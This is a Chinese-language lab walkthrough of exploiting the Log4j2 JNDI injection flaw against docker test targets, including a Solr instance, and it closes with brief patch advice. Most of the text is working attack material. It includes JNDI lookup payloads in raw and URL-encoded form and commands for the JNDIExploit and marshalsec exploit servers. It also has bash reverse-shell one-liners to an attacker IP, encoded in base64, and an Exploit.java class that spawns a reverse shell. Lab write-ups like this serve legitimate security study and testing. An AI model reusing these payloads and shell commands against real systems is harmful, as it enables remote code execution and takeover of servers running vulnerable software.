Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
漏洞简介
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目 标服务器上执行任意代码。
漏洞范围
影响组件应用
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
影响log4j版本
Apache Log4j 2.0 ~ 2.15.0-rc1
攻击机:XXX.XXX.XXX.130
靶 机:XXX.XXX.XXX.152
docker搭建靶场环境
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -d -ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09
POC测试
http://172.16.115.152:8082/hello?payload=url
55882ehsxfw941fmrfwb3eq44valya.oastify.com
对该域名进行url编码
${jndi:ldap://55882ehsxfw941fmrfwb3eq44valya.oastify.com}
转码后:%24%7Bjndi%3Aldap%3A%2F%2F55882ehsxfw941fmrfwb3eq44valya.oastify.com%7D
burp 收到结果
exp测试
1.下载JNDIExploit工具
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
2.使用JNDIExploit工具搭建恶意JNDI服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.115.130
bash -i >& /dev/tcp/172.16.115.130/8086 0>&1
base64编码 :
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA+JjE=url编码:
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D
${jndi:ldap://172.16.115.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D}
对EXP进行URL编码:
%24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%252BJjE%253D%7D
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名 和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)DNS (域名服务)
burp抓包,发送至repeater模块
发送Payload请求:将URL写入请求中
点击send发送
ldap服务器接收到请求,并传输Payload
收到反弹shell
vim docker-compose.yml #编写配置文件
写入以下代码:
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
编译启动靶场
docker-compose up -d
攻击机:XXX.XXX.XXX.130
靶 机:XXX.XXX.XXX.152
将代码写入POC测试:
http://172.16.115.152:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.176b4a2qmgta1wqkld1rakfxjopfd4.oastify.com}
1.下载 JNDI-Injection-Exploit 工具
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
2.构造命令执行
bash -i >& /dev/tcp/172.16.115.130/8088 0>&1
java-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}
3.打开监听
nc -lvvp 8088
4. 使用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}” -A 172.16.115.130
使用JDK1.8的payload
rmi://172.16.115.130:1099/nk7vbz
your-ip/solr/admin/cores?action=${jndi:rmi://172.16.115.130:1099/nk7vbz}
ldap://172.16.115.130:1389/nk7vbz
your-ip/solr/admin/cores?action=${jndi:ldap://172.16.115.130:1389/nk7vbz}
5.监听收到反弹shell
1.编写恶意文件(靶机执行)
Exploit.java
#bash -i >& /dev/tcp/172.16.115.130/8088 0>&1
#bash编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=
# Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
2.编译文件(靶机执行)
3.开启http服务(靶机执行)
4.启动LDAP服务(攻击机执行)
使用工具:https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.115.152:8000/#Exploit" 9000
5.监听端口 (攻击机执行)
${jndi:ldap://172.16.115.130:9000/Exploit}
url编码:%24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A9000%2FExploit%7D
6.burp发送请求(攻击机执行)
7.监听收到反弹shell
通用修补建议
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
1.设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
2.尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版
本也不能完全保证安全,依然存在本地绕过的情况。
3.限制不必要的业务访问外网。
4.采用 rasp 对 lookup 的调用进行阻断。